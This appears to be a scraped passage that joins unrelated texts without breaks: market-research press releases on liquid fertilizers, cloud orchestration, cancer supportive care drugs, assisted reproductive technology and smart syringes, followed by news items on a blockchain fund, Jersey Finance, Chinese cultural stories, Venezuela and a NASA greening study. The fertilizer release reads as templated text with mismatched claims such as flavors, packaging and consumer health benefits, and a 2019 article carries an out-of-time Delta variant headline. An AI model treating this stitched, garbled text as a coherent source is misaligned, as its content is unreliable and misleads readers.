fertilizers are rich in growth hormones and micro nutrients. It is experiencing a high demand because of its nutritional as well as extra micro nutritional attributes and rising meat consumption globally. High nutritional benefits obtained from liquid fertilizers are also supporting the sale of liquid fertilizers globally.Increasing number of consumers in developed as well as developing economies is one of the driving forces for this market. Some of the key players are also investing in R&D for development of new product lines with improved formulations. Many consumers consume products involving liquid fertilizers in fruits & vegetables, cereals & grains, and others. They provide health benefits as well as nutritional benefits by offering some extra micronutrients, thus increasing the market for liquid fertilizers.Get a Sample Report @The major competitors in this market are inclined to increase their footprints across the globe by acquiring local and regional players. Apart from this, the companies are introducing their products in the developing economies to penetrate the untapped market. Major players are also investing in R&D initiatives especially to develop superior & highest quality products by including organic and natural ingredients. This factor is likely to help them to penetrate the emerging global liquid fertilizers market and fulfill the growing demand. Changing consumer preferences for natural and fresh products will support the sale of liquid fertilizers in Asia Pacific region.Major Key Players:This report includes the study of strategies such as mergers and acquisitions, new product launches by the major liquid fertilizers market players. It further includes product portfolios, developments of leading major players, which includesSome of the key players in the Liquid Fertilizers Market Compo Expert GmbH (Germany), Kugler Company (U.S.), Yara International ASA (Norway), Agroliquid (U.S.), Agrium Inc. (Canada), Israel Chemical Ltd. (ICL) (Israel), Haifa Chemicals Ltd. (Israel)Asia Pacific dominates the liquid fertilizer market because of its increasing population as well as growing economy. Key manufacturers are focusing on expanding their product lines by providing various product lines with the various flavors, combinations, and attractive packaging.Regional Analysis:The global liquid fertilizers market is segmented into North America, Europe, Asia Pacific, and Rest of the World (RoW). Among these, the Asia Pacific region accounts for major market share followed by North America. The growing demand for liquid fertilizers in Asia Pacific, due to increasing population, growing economy, support from the government to maximize the agriculture production to meet the food demands, will drive the growth of the market in this region during the forecasting period. In North America, there is significant share of liquid fertilizers as well as due to huge demand, will drive the growth of the market in this region. However, in Asia Pacific region, mainly emerging economies including China, and India, is estimated to witness maximum growth in the global liquid fertilizers market over the forecast period 2017-2023.Access Report Details @About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.ContactMarket Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312Email: sales@marketresearchfuture.comCloud Orchestration Market Market | Global Trends, Growth and Key Companies Analysis  Amazon Web Services, Hewlett Packard Enterprise Company, Red Hat, Inc., and Vmware, Inc

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Cloud Orchestration Market: SnapshotCloud orchestration is the arrangement and coordination of automated tasks and results finally in a process or workflow that is consolidated. The rising demand for optimum utilization of resources is anticipated to drive the global cloud orchestration market. The increasing need for self-service provisioning, agility, and flexibility will also be key factors resulting the growth of this market worldwide. In addition to this, the cost efficiency of cloud orchestration will create a heightened demand from businesses and small and medium enterprises (SEMs) and drive the market. The scalability offered or flexibility to scale up and down the resources will also aid the demand for these services across the globe between 2017 and 2025.Request Sample Copy of the Report @The increasing importance of reporting and analytics service will help create a need for enhanced decision-making, improved operational efficiency, and for gaining competitive advantage. Furthermore, internal business process is also highly in demand and this will boost the demand for cloud orchestration. Thus, it is likely that the reporting and analytics service segment will lead in the market in the years to come. Cloud orchestration service is attractive for businesses as they offer enhanced accuracy, reduction in the time consumed for manual tasks, heavy workload management, and increased business opportunity.Compliance editing is turning out to be a lucrative application for cloud orchestration. Compliance auditing enables enterprises to concentrate on their actual core business and focus on their service quality. It also helps in ensuring better end user experience and delivering quality and optimized IT services.Global Cloud Orchestration Market: OverviewThe rising demand for cloud orchestration is anticipated to witness a healthy growth in the next few years. Cloud orchestration is considered to have inherent intelligence, owing to which the application base is projected to expand across diverse industries in the coming years. The research study offers an in-depth analysis of the global cloud orchestration market. The product segmentation, primary applications, latest trends, and regional segmentation of the market have been provided in the scope of the study. Furthermore, a competitive landscape of the global market has been included in the report to provide a detailed study of the market to readers and market players.Request TOC of the Report @Global Cloud Orchestration Market: Drivers and RestraintsThe rising demand of cloud orchestration for optimum resources utilization and the growing necessity for self-service provisioning are the key factors projected to encourage the growth of the global cloud orchestration market throughout the forecast period. In addition, the agility, flexibility, and the cost-efficiency offered by cloud orchestration is likely to accelerate markets growth in the near future.On the contrary, the high initial investment cost and the lack of technical expertise among SMES are expected to restrict the growth of the global cloud orchestration market in the next few years. Moreover, the maintenance of operational consistency and the compatibility issues with existing applications are some of the challenges faced by the leading players in the global market. Nonetheless, the increasing demand for streamline business processes and the rising number of enterprises enhancing the benefits of orchestration are predicted to supplement the growth of the overall market in the near future.Global Cloud Orchestration Market: Region-wise OutlookThe global market for cloud orchestration has been classified into Asia Pacific, North America, Europe, and the Rest of the World. According to the research report, in 2016, North America led the global orchestration market and is projected to remain in the leading position throughout the forecast period. The rising popularity of cloud across diverse industries is one of the key factors anticipated to fuel the growth of the cloud orchestration market in North America in the coming years.On the other hand, Asia Pacific is projected to register a strong growth rate in the next few years. The growing need for advanced resource management systems and the shifting of workloads towards cloud environment are some of the important factors that are predicted to encourage the growth of the Asia Pacific cloud orchestration market in the forecast period. The research study has provided a detailed study of the regional segmentation and throws light on the expected growth rate and share of each segment of the market.Read Comprehensive Overview of Report @Key Players Mentioned in the Research Report are:The global cloud orchestration market is expected to witness strong growth throughout the forecast period. The research study throws light on the competitive scenario of the global market and provides a detailed list of the key players operating in it across the globe. Additionally, the financial overview, business strategies, product portfolio, SWOT analysis, and the recent developments have been included in the scope of the research study.Some of the prominent players operating in the cloud orchestration market across the globe are IBM Corporation, Servicenow, Inc., BMC Software, Oracle Corporation, Computer Sciences Corporation, Cisco Systems, Inc., Amazon Web Services, Hewlett Packard Enterprise Company, Red Hat, Inc., and Vmware, Inc. The competition in the global cloud orchestration market is expected to increase at a significant level with the rising number of players entering the market. The increasing focus of key players on advancements and innovations is anticipated to encourage the growth of the overall market in the next few years.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.comCancer Supportive Care Drugs Market Outlook to 2026 - Novartis, Amgen, Merck, Johnson & Johnson, Baxter International

Cancer Supportive Care Drugs Market

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Cancer supportive care is associated with care given to the patients suffering from various types of cancer. Supportive care is intended for relieving suffering of the patients and improving their quality of life. These treatments are not intended to cure the disease itself, however, to treat the side effects and symptoms such as pain and stress. The main aim of supportive care is to improve the quality of life of the patient. Cancer supportive care has become an important part of cancer treatment since the recent past.Government organizations and institutions are focusing on promoting better palliative/supportive care to improve patients quality of life. For instance, the American Cancer Society has collaborated with various institutions such as National Palliative Care Research Center (NPCRC) (in 2007) to improve cancer supportive care and to promote palliative care. Moreover, the American Cancer Society Cancer Action Network (ACS CAN) is working to improve access to palliative care services for adults and children that are severely suffering from various types of cancer.For In depth Information Get FREE Sample Copy of this Report at:Cancer Supportive Care Drugs Market Key Player1. Johnson & Johnson2. Novartis AG3. F.Hoffmann La-Roche Ltd.4. Amgen, Inc.5. Baxter International, Inc.6. Teva Pharmaceutical Industries Ltd.7. Acacia Pharma Ltd.8. Merck & Co., Inc.9. Helsinn Healthcare SA10. Heron TherapeuticsCommercially available cancer supportive care drugs include, Granocyte, Neupogen, Zarzio, Pegfilgrastim, Longquex, Aranesp, Epogen, and other categories such as antiemetics, NSAIDs, and opioids.Cancer Supportive Care Drugs Market DriversHigh prevalence of various types of cancer is a key factor supporting growth of the global cancer supportive care drugs market. Cancer is one of the most prevalent fatal chronic disorders with a high mortality rate due to its invasive nature and prolonged duration of disease. According to National Cancer Institute, around 1,735,350 new cancer cases are expected to be diagnosed in the U.S. in 2018. The most common cancers are lung cancer, breast cancer, prostate cancer, melanoma, bladder cancer, and others.Cancer treatment includes chemotherapy, radiation therapy, targeted therapy, hormone replacement therapy, and others. These therapies have their own advantages and side effects. Cancer supportive care drugs are primarily used to aid in treatment of side effects associated with various cancer treatments. Increasing demand for various cancer therapies, owing to high prevalence of the disease is expected to boost the global cancer supportive care drugs market growth over the forecast period. According to American Cancer Society, in 2017, around 222,500 new cases of lung cancer were registered and around 155,870 deaths recorded due to lung cancer in the U.S.Moreover, drugs such as erythropoietin stimulating agents are on the World Health Organizations (WHO) essential medicine list, indicated for the treatment of anemia due to chemotherapy and other treatments. Effectiveness of biopharmaceutical drugs such as erythropoietin stimulating agents and g-colony stimulating factors in the treatment of cancer induced side effects (anemia) is expected to propel the global cancer supportive care drugs market growth over the forecast period.However, biosimilar launches (as biosimilars are cheaper) in categories such as erythropoietin stimulating agents and g-colony stimulating factors is expected to restrain the global cancer supportive care drugs market growth over the forecast period. For instance, the U.S. Food & Drug Administration (FDA) recommended approval of Hospiras Epogen biosimilar in 2017. Sandoz launched Zarxio (Filgrastim-sndz), a biosimilar of Filgrastim in 2015.Cancer Supportive Care Drugs Market Regional InsightsNorth America and Europe are expected to witness significant growth in the cancer supportive care drugs market over the forecast period. New product launches of cancer supportive care drugs and increasing demand for such drugs, owing to high prevalence of the disease is expected to facilitate growth of the cancer supportive care drugs market, in the U.S. For instance, according to the American Cancer Society, in 2017, around 225,000 cases of lung cancer were registered in the U.S. Furthermore, presence of leading manufacturers such as Amgen, Inc. in North America that are focused on research and development of new cancer supportive care drugs is a key factor promoting growth of the market in the region over the forecast period.For More Details On this Report:Moreover, competition to global manufacturers from generic manufacturers in India and China is expected to negatively impact growth of the global cancer supportive care drugs market over the forecast period.Cancer Supportive Care Drugs Market TaxonomyThe global cancer supportive care drugs market is segmented on the basis of drug type, cancer type, distribution channel, and region.By Drug Type --Antiemetic-Bisphosphonates-Opioids-NSAIDs-G-Colony Stimulating Factors-Erythropoietin Stimulating Agents-OthersBy Cancer Type --Lung Cancer-Breast Cancer-Prostate Cancer-Liver Cancer-Melanoma-Bladder Cancer-Leukemia-Ovarian Cancer-OthersBy Distribution Channel --Hospital Pharmacies-Retail Pharmacies-Online PharmaciesBy Region --North America-Europe-Asia Pacific-Latin America-Middle East-AfricaAbout Coherent Market Insights:Coherent Market Insights is a prominent market research and consulting firm offering action-ready syndicated research reports, custom market analysis, consulting services, and competitive analysis through various recommendations related to emerging market trends, technologies, and potential absolute dollar opportunity.Contact Us:Coherent Market Insights1001 4th Ave,#3200Seattle, WA 98154Tel: +1-206-701-6702Email: sales@coherentmarketinsights.comChina has seen progress in its effort to revitalize traditional crafts and turn them into targeted measures for poverty alleviation, according to the Ministry of Culture and Tourism.

The ministry said it has organized extensive training for inheritors of traditional crafts and supported setting up relevant workstations in collaboration with different departments.

The ministry has set up 57 workshops for intangible cultural heritage and provided training for 2,500 people in poverty-stricken areas, including a county in southwest China's Guizhou Province that is home to the ethnic Miao people.

The campaign has also raised the awareness of provincial-level authorities. A total of 26 provinces, autonomous regions and municipalities have issued plans for revitalizing traditional crafts in their regions.

The ministry said it will continue to focus on policy implementation and the inclusion of social forces in the future.Assisted Reproductive Technology Market to Hit 4.5% CAGR to 2024 | Thermo Fisher Scientific, Inc., Cooper Surgical Inc., Cook Medical, Genea Limited, Hamilton Thorne, Irvine scientific, Merck, OvaScience Inc., Vitro Life

Assisted Reproductive Technology Market 2018 - 2024

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The newly released research at Market Study Report LLC titled 2018-2024 Global Assisted Reproductive Technology Market Report provides data, information, brief analysis, company profiles, statistics for past years and forecasts for next few years.Germany assisted reproductive technology market will reach 2.2 billion by 2024, owing to high technology adoption coupled with rising awareness about ART procedures in the country. Delayed child bearing is major driver for assisted reproductive technology market growth in Germany. Growing demand and adoption rate of ART will drive industry growth during the forecast timeframe.Request a sample of this premium report at:Assisted Reproductive Technology Market will reach over USD 32.5 billion by 2024; as per a new research report. Increasing number of people suffering from infertility issues coupled with rising awareness about assisted reproductive technology (ART) will drive ART market over the forecast timeframe. Furthermore, changing social factors and rising disposable income should positively impact industry expansion.Procedures such as in-vitro fertilization are offered at low cost in developing countries such as India, hence many people having trouble with getting or staying pregnant opt for this treatment in developing countries, leading to business growth. Growing awareness about ART procedure and its success rates will further lead to industry growth during the forecast period.Delayed child bearing is one of the dominant factors for increasing adoption of assisted reproductive technology. Numerous initiatives such as the Asia Pacific Initiative on Reproduction (ASPIRE), an exclusive task force of scientists and clinicians, engaged in fertility management and ART in the region should support industry growth. However, high cost associated with ART treatment will hamper industry expansion to certain extent over the coming years.India assisted reproductive technology market will witness lucrative growth rate of 6.9% during the analysis period. High adoption of in-vitro fertilization in the country coupled with low cost of ART procedures should drive Indian ART market during the forecast period. Increasing number of medical facilities such as fertility clinics and several initiatives undertaken to create awareness about assisted reproductive technology should further stimulate business growth over the coming years.Embryo/egg banking procedure segment is estimated to reach over 5.8 billion by 2024. Embryo banking preserves couple?s reproductive future. Moreover, cryopreserved eggs/embryos can be thawed later and utilized for in-vitro fertilization will drive segment growth. More than 1,000 children are conceived with the help of embryo banking in Southern California alone.Request a discount on standard prices of this premium report at:Frozen embryo replacement (FER) technology segment will witness significant growth of 6.1% during the forecast period. FER technology has high success rate as compared to fresh embryo transfer cycles as well as it offers better planning for transfer of embryo. Nearly 85% of embryos survive thawing procedure, reducing need for repetitive procedures. All these factors will drive segment growth during the forecast period.Hospitals end-use segment accounted for 6.8 billion in 2017. Rising prevalence of infertility problems coupled with growing awareness about assisted reproductive technology and its success rate should drive segment growth during the forecast period. According to CDC data, around fifteen states in the U.S. provide insurance coverage for infertility treatment should positively impact market growth.Few notable players operating in global assisted reproductive technology market are Cooper Surgical, Hamilton Thorne, Irvine scientific, Merck and Thermo Fisher Scientific. Industry players are investing heavily in developing cost-effective products to gain competitive edge in lucratively growing markets of developing regions such as Asia Pacific. Companies are adopting strategies such as acquisition and partnership with local players of these regions to consolidate their market position.Table of Content:Chapter 1. Methodology1.1. Methodology1.2. Market definitions1.3. Forecast parameters1.4. Data sources1.4.1. Secondary1.4.1.1. Paid sources1.4.1.2. Unpaid sources1.4.2. PrimaryChapter 2. Executive Summary2.1. Assisted reproductive technology industry 360 degree synopsis, 2013 - 2024 (USD Million)2.1.1. Business trends2.1.2. Procedure trends2.1.3. Technology trends2.1.4. End-use trends2.1.5. Regional trendsChapter 3. Assisted Reproductive Technology Industry Insights3.1. Industry segmentation3.2. Industry landscape, 2013 - 20243.3. Industry impact forces3.3.1. Growth drivers3.3.1.1. Rising prevalence of infertility3.3.1.2. Demographical shift3.3.1.3. Rising awareness about assisted reproductive technology3.3.2. Industry pitfalls and challenges3.3.2.1. High cost of procedures3.3.2.2. Social barriers and lack of advanced infrastructure in emerging countries3.4. Growth potential analysis3.4.1. By procedure3.4.2. By technology3.4.3. By end-use3.5. Porter's analysis3.6. Competitive landscape,20173.6.1. Strategy dashboard3.7. PESTEL analysisChapter 4. Assisted Reproductive Technology Market, By Procedure4.1. Key segment trends4.2. Fresh donor4.2.1. Market size, by region, 2013-2024 (USD Million)4.3. Fresh nondonor4.3.1. Market size, by region, 2013-2024 (USD Million)4.4. Frozen donor4.4.1. Market size, by region, 2013-2024 (USD Million)4.5. Frozen nondonor4.5.1. Market size, by region, 2013-2024 (USD Million)4.6. Embryo/Egg Banking4.6.1. Market size, by region, 2013-2024 (USD Million)Chapter 5. Assisted Reproductive Technology Market, By Technology5.1. Key segment trends5.2. In-vitro fertilization (IVF)5.2.1. Market size, by region, 2013-2024 (USD Million)5.2.2. IVF with Intracytoplasmic Sperm Injection (ICSI)5.2.2.1. Market size, by region, 2013-2024 (USD Million)5.2.3. IVF without ICSI5.2.3.1. Market size, by region, 2013-2024 (USD Million)5.3. Artificial Insemination - Intrauterine Insemination (AI-IUI)5.3.1. Market size, by region, 2013-2024 (USD Million)5.4. Frozen Embryo Replacement (FER)5.4.1. Market size, by region, 2013-2024 (USD Million)5.5. Others5.5.1. Market size, by region, 2013-2024 (USD Million)For more information on this report at:Related Report:United States Assisted Reproductive Technology (ART) Market Report 2018In this report, the United States Assisted Reproductive Technology (ART) market is valued at USD XX million in 2017 and is expected to reach USD XX million by the end of 2025, growing at a CAGR of XX% between 2017 and 2025.About Us:Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management.Contact Us:Market Study Report LLC4 North Main Street,Selbyville, Delaware 19975USAPhone: 1-302-273-0910US Toll Free: 1-866-764-2150Email: sales@marketstudyreport.comWebsite:Blog:Smart Syringes Market Outlook to 2025 - Nemera, BD, Retractable Technologies, Cardinal Health, B. Braun Medical, PARKER HANNIFIN CORP, AccuPoint, Numedico Technologies Pty, and Gerresheimer

Smart Syringes Market to 2025

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The Research begins with the Overview of Global Smart Syringes Market Analyzing Industrial Chain, Sourcing Strategy and Downstream Buyers. The Research also provide Information about Manufacturers, Market Competition, Cost, and Market Effect Factors with Market Forecast (2018-2025). This enables the buyer of the report to gain a telescopic view of the competitive landscape and plan the strategies accordingly.The smart syringes market is anticipated to grow with a significant rate, owing to rise in the prevalence of diabetes in the ageing population. The benefits offered by smart syringes over the traditional ones are expected to attract more players in the developing economies of regions such as, North America and Europe during the forecast period.The key players influencing the smart syringes market are L.O.M. Medical International, Nemera, BD, Retractable Technologies, Inc., Cardinal Health, B. Braun Medical Inc., PARKER HANNIFIN CORP, AccuPoint, Numedico Technologies Pty Ltd, and Gerresheimer AG among others.Get sample copy of this report atThe report analyzes factors affecting smart syringes market from both demand and supply side and further evaluates market dynamics effecting the market during the forecast period i.e., drivers, restraints, opportunities, and future trend. The report also provides exhaustive PEST analysis for all five regions namely; North America, Europe, APAC, MEA and South & Central America after evaluating political, economic, social and technological factors effecting the smart syringes market in these regions.North America led the smart syringes market, due to implementation of the use of smart syringes by the government bodies present in the United States and Canada. The market is expected to grow significantly in Asia Pacific during the forecast period, due to rising awareness regarding the practice of safe injection among the patients as well as physicians.The report provides a detailed overview of the industry including both qualitative and quantitative information. It provides overview and forecast of the global smart syringes market based on type, age group, application and end user. It also provides market size and forecast till 2025 for overall market with respect to five major regions, namely; North America, Europe, Asia-Pacific (APAC), Middle East and Africa (MEA) and South & Central America. The smart syringes market by each region is later sub-segmented by respective countries and segments. The report covers analysis and forecast of 13 counties globally along with current trend and opportunities prevailing in the region.The global smart syringes market is segmented on the basis of type, age group, application and end user. The type segment includes, active safety syringes, passive safety syringes and auto-disable syringes. Based on age group, the market is segmented as, adult and pediatric. On the basis of application, the market is classified as, vaccination, drug delivery and blood specimen collection. Based on end users, the smart syringes market is segmented as, hospitals, clinics, home care, and other end users.Buy this report:The "Global Smart Syringes Market Analysis to 2025" is a specialized and in-depth study of the medical device industry with a focus on the global market trend. The report aims to provide an overview of global smart syringes market with detailed market segmentation type, age group, application and end user. The global market is expected to witness high growth during the forecast period. The report provides key statistics on the market status of the leading market players and offers key trends and opportunities in the market.TABLE OF CONTENTS1. INTRODUCTION1.1. SCOPE OF STUDY1.2. THE INSIGHT PARTNERS RESEARCH REPORT GUIDANCE2. KEY TAKEAWAYS3. SMART SYRINGES MARKET LANDSCAPE3.1. MARKET OVERVIEW3.2. MARKET SEGMENTATION3.2.1. Smart Syringes Market - By Type3.2.2. Smart Syringes Market - By Age Group3.2.3. Smart Syringes Market - By Application3.2.4. Smart Syringes Market - By End User3.2.5. Smart Syringes Market - By Region3.2.5.1. By Country3.3. PEST ANALYSIS3.3.1. North America - PEST Analysis3.3.2. Europe - PEST Analysis3.3.3. Asia Pacific - PEST Analysis3.3.4. Middle East and Africa - PEST Analysis3.3.5. South and Central America- PEST Analysis4. SMART SYRINGES MARKET - KEY INDUSTRY DYNAMICS4.1. KEY MARKET DRIVERS4.2. KEY MARKET RESTRAINTS4.3. KEY MARKET OPPORTUNITIES4.4. FUTURE TRENDS4.5. IMPACT ANALYSIS5. SMART SYRINGES MARKET - GLOBAL ANALYSIS5.1. GLOBAL SMART SYRINGES MARKET OVERVIEW5.2. GLOBAL SMART SYRINGES MARKET REVENUE FORECASTS AND ANALYSIS (US$ MN)5.3. PERFORMANCE OF KEY PLAYERS5.4. EXPERT OPINIONSAbout Us:The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We are a specialist in Technology, Healthcare, Manufacturing, Automotive and Defense.Contact Us:Call: +1-646-491-9876Email: sales@theinsightpartners.comLaxman Pai, Opalesque Asia:

Morgan Creek Digital, an asset management firm founded by Mark Yusko, Jason Williams and Anthony Pompliano, announced that it successfully raised more than $40m for a venture capital fund that invests across the blockchain and digital assets industry.

Morgan Creek Digital, a unit of North Carolina-based hedge fund Morgan Creek with $1.5 billion in assets under management, said that the new venture-called the Morgan Creek Blockchain Opportunities Fund-has been created specifically for investment into the digital asset space.

The two public pensions anchoring the fund are Fairfax County, Virginia's Police Officer's Retirement System and Employees' Retirement System.

Several other institutions invested including a university endowment, a hospital system, an insurance company, and a private foundation.

According to Pompliano, a former Facebook product manager, the fund originally targeted a raise of $25 million but he said the deal was oversubscribed by institutional investors.

A report in Forbes quoted Morgan Creek Digital partner Anthony Pompliano as saying: ""If there's a central party that owns 30% or more of supply then we withhold those from the index, [b]ecause we think that introduces a lot of additional risk that may not be there if it was a more decentralized network."

Pompliano told Forbes that he is confident institutional investors will be interested in the fund regardless of "whether [the assets are deeme......................

To view our full article Click hereLaxman Pai, Opalesque Asia:

Jersey Finance, the organisation promoting Jersey's fund industry sector has appointed a new chief executive officer (CEO), replacing Geoff Cook who announced in 2018 that he was leaving after 12 years in the role.

He is to start as Jersey Finance chief executive on February 18. Like his predecessor, he has also been active in the public sector.

Moynihan is a former director of financial services with the Government of Jersey, but more recently worked as chief executive of RAK International Corporate Centre in the UAE, and as a consultant.

Moynihan spent the majority of his executive career with AIB, latterly as the Chief Executive Officer of the Jersey and Isle of Man offices.

He then spent just under four years with the Government of Jersey as Director of Financial Services, with a remit that was expanded to include Digital and Competition. He is a previous Chair of the Jersey Bankers Association and is a regular commentator on industry issues.

Moynihan said: "The team at Jersey Finance has done an excellent job in establishing Jersey as one of the world's leading international finance centres and I'm excited to have the opportunity to help lead the industry at this pivotal time for international financial services. I am very much looking forward to picking up the baton and working with all stakeholders to continue to help bring clarity to the positive role our industry plays both locally and in key markets around ......................

To view our full article Click hereMore than 150 photographers gathered in New York on Tuesday to share their stories of China and the Lunar New Year told through the lens of a camera.

Siu Mei Ching, a Chinese American in New York, was animated after winning an Honorable Mention with her work "Blooming Fireworks" at the Global Chinese New Year Photography Competition.

"I snapped the picture last year during the fireworks display along Hudson River, a signature event for Chinese New Year celebrations in New York City," said Ching.

The year's event received 63,346 works, a record number of submissions for the four-year-old contest, among which, 169 claimed awards across different categories, according to the organizers.

Open to both professional photographers and passionate amateurs from across the globe, the Global Chinese New Year Photography Competition has been held annually since 2016 with the aim of introducing Chinese culture and the Chinese Lunar New Year to the world.

This year's competition was co-organized by the Culture Office of the Chinese Consulate General in New York, the China National Tourist Office in New York and the North America Photography Association.

The record number of participants this year demonstrated the attractiveness of China and its culture, Chinese Consul-General in New York Huang Ping said when delivering a speech.

Pictures connect people and are able to tell stories in a powerful way, said Huang, adding that the entries vividly depict the changes that have taken place in China over the past 40 years.

David Mager, dean of Photography Department of New York Film Academy who attended the ceremony, said photography can be the bridge between the United States and China since it has the power to invoke empathy and understanding.

"The photos showed different aspects of Chinese culture. The competition helps bring people together to be able to experience cultures they don't necessarily experience on their own," he said.Fudan University has signed agreements on a slew of strategic partnerships with Southeast Asian education institutions and government agencies in January to bolster the Belt and Road Initiative through academic cooperation and people-to-people exchanges.



The Shanghai-based university signed a memorandum of understanding with the University of Social Sciences and Humanities of Vietnam National University, Hanoi, pledging to conduct joint research and strengthen collaboration on faculty and student communication, lectures and meetings, and academic publications.

The duo also agreed to enhance youth exchanges in countries in the Lancang-Mekong region and promote cultural and heritage preservation, a substantial step toward implementing the Belt and Road Initiative.

During a visit to Cambodia's Authority for the Protection and Management of Angkor and the Region of Siem Reap, Fudan's chancellor, Jiao Yang, says the university is poised to leverage its talent and academic prowess in museology and make due contributions to the agency in the preservation of cultural relics.

On the medical front, Fudan University signed a memorandum of understanding with Cambodia's University of Health Sciences and vowed to deepen cooperation in scientific research, educational training and talent cultivation in areas such as clinical medicine, pharmaceuticals, nursing and public health.

Action plans include establishing a center for global health, conducting joint research projects and promoting exchange programs for faculty members and students through various initiatives.

The move also came at a time when bilateral relations were enhanced after leaders of the two countries met in Beijing in January and pledged to deepen cooperation in education and youth exchanges.

"The agreement marks one of the latest implementations of the strategic consensus reached between our state leaders," Jiao said during the signing ceremony in Phnom Penh.

Noting that health is a prerequisite of people's comprehensive wellbeing and the basis for sound social and economic development, Jiao says the deal serves as a window of opportunity to carry out more tangible collaboration derived from the BRI.

The Chinese delegation also visited UHS' simulated-teaching centers and watched students practice suturing techniques.

"I hope that, through this memorandum, our two universities will work together closely for our common interests and follow in the footsteps of our leaders and the long and outstanding friendship between the two countries and their people," says Saphonn Vonthanak, rector of UHS.

Fudan University's Shanghai Medical College is on course to become a world-class institution, with its affiliated hospitals forming international partnerships with top-tier medical schools, and its clinical medicine discipline close to ranking within the top 0.1 percent in the Essential Science Indicators, a database of emerging science trends, according to the school's website.As the Spring Festival holiday came to an end, Sun Yumin, 58, made his New Year's resolution -- writing a novel about the fishing life of his people, the Hezhe.

The Hezhes are one of the smallest ethnic minority groups in China with a population of over 5,000. They live mainly by hunting and fishing in the plains in northeast China's Heilongjiang Province.

In 1945, their population dropped to a mere 300, but later speedy advances in their economic life and health care have brought a population surge.

Witnessing the great changes in their lives, Sun, who loves reading and writing, decided to write about his people and traditions.

In 2018, a film script he wrote got nominated at one of the main film festivals in the country.

"After I graduated from high school, I returned to my hometown and became a fisherman, working with my fellow villagers by traditional methods," Sun said.

The traditional method of rowing was replaced in the 1980s as the local government installed diesel engines on their boats to improve fishing efficiency.

Later, local governments promoted agriculture in the Hezhe-populated areas, and Sun became the first group of villagers to reclaim wastelands.

"We drove two tractors offered by the government through the grasslands where weeds grew almost as tall as a person," Sun said.

During harvest season, Sun and his team packed bagfuls of beans and wheat on large cargo ships sailing afar. Over the years, they have reclaimed hundreds of hectares of lands and have become wealthier, as many bought agricultural machines or built new houses.

In the early 2000s, Sun started a business tapping into the Hezhe cultural treasure -- fish-skin painting.

Fish skin was used to make clothes and decorations by the Hezhe people due to their long-standing fishing tradition. Sun was one of the first ones in his village to sell the ethnic paintings and later taught the skills to his fellow villagers.

"Our paintings are not only sold to tourists who visit our village but also online," said Sun, "We see our culture spread across the country."

Many of the paintings also bear ethnic features, taking inspiration from Hezhe folklores and ballad singing.

"In the coming year, I'll devote more of my energy to collecting information and writing about Hezhe culture," said Sun. "I want more people to know and like our culture."



Get out of Venezuela, Trump warns Russia; says all options open to make it happen

Two presidents of Venezuela clash over aid; Guaido vows to bring in foreign help in country

International

oi-Shubham Ghosh

Caracas, Feb 13: Days after Venezuela's embattled president Nicolas Maduro decided to stall entry of foreign aid to the country saying his countrymen are not beggars, his challenger and opposition leader Juan Guaido has vowed to do just the opposite.

At a rally in Caracas on Tuesday, February 12, Guaido, who proclaimed himself to be the president last month, promised that the humanitarian aid blocked by Maduro will be brought to Venezuela to give relief to the common people.

Explained: The ongoing crisis in Venezuela

The 35-year-old leader said new collection points and routes into Venezuela will see the volunteers bringing in the aid. Maduro, on the other hand, has suspected the entry of the aid as a strategy by the US to enter the Latin American country and topple him.

Venezuela is in the middle of a massive economic crisis that has seen millions of people fleeing the country in the last five years.

The Opposition has accused Maduro of illegally clinging on to power after he took oath for a second term in January following a controversial election last year.

"We have almost 300,000 Venezuelans who will die if the aid doesn't enter. There are almost two million at health risk," said Mr Guaido at the rally on Tuesday.

Venezuela: Canada govt backs Juan Guaido but its biggest labour union supports Maduro

He has vowed to bring in the aid by February 23, exactly a month since he proclaimed himself as the president.

Guaido has been recognised by the US and several other western and Latin American nations as Venezuela's interim president while a few countries like Russia, China and Turkey have backed Maduro.

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Story first published: Wednesday, February 13, 2019, 17:59 [IST]US: CDC classifies Delta variant, first identified in India as 'variant of concern'

In strong message, Centre tells social media platforms not to lecture India on freedom of speech

India-China lead in global greening efforts says NASA study

International

oi-Oneindia Staff

By Anuj Cariappa

Washington, Feb 13: India and China are leading the global greening effort, which is quite contrary to the general perception worldwide, a latest NASA study said , observing that the world is a greener place than it was 20 years ago.

The NASA study based on data received and analysed from its satellite said that India and China are leading in greening on land. "China and India account for one-third of the greening but contain only 9 per cent of the planet's land area covered in vegetation," said lead author Chi Chen of Boston University.

'World's most dangerous glacier' to collapse and it could rise global sea levels by 8 feet

"That is a surprising finding, considering the general notion of land degradation in populous countries from over exploitation," he said.

The study published on February 11, in the journal Nature Sustainability said that recent satellite data (2000 2017) reveal a greening pattern that is strikingly prominent in China and India and overlaps with croplands world-wide.

China alone accounts for 25 per cent of the global net increase in leaf area with only 6.6 per cent of global vegetated area.

The greening in China is from forests (42 per cent) and croplands (32 per cent), but in India it is mostly from croplands (82 percent) with minor contribution from forests (4.4 per cent), the NASA study said.

China is engineering ambitious programmes to conserve and expand forests with the goal of mitigating land degradation, air pollution and climate change.

Food production in China and India has increased by over 35 per cent since 2000 mostly owing to an increase in harvested area through multiple cropping facilitated by fertiliser use and surface- and/or groundwater irrigation.

When the greening of the Earth was first observed, we thought it was due to a warmer, wetter climate and fertilization from the added carbon dioxide in the atmosphere, said Rama Nemani, a research scientist at NASA's Ames Research Center and a co-author of the study.

This study was made possible thanks to a two-decade-long data record from the Moderate Resolution Imaging Spectroradiometer (MODIS) instruments on NASA's Terra and Aqua satellites. Now with the MODIS data, we see that humans are also contributing, she said.

Observing that once people realise there is a problem, they tend to fix it, Nemani said in the 1970s and 80s in India and China, the situation around vegetation loss was not good.

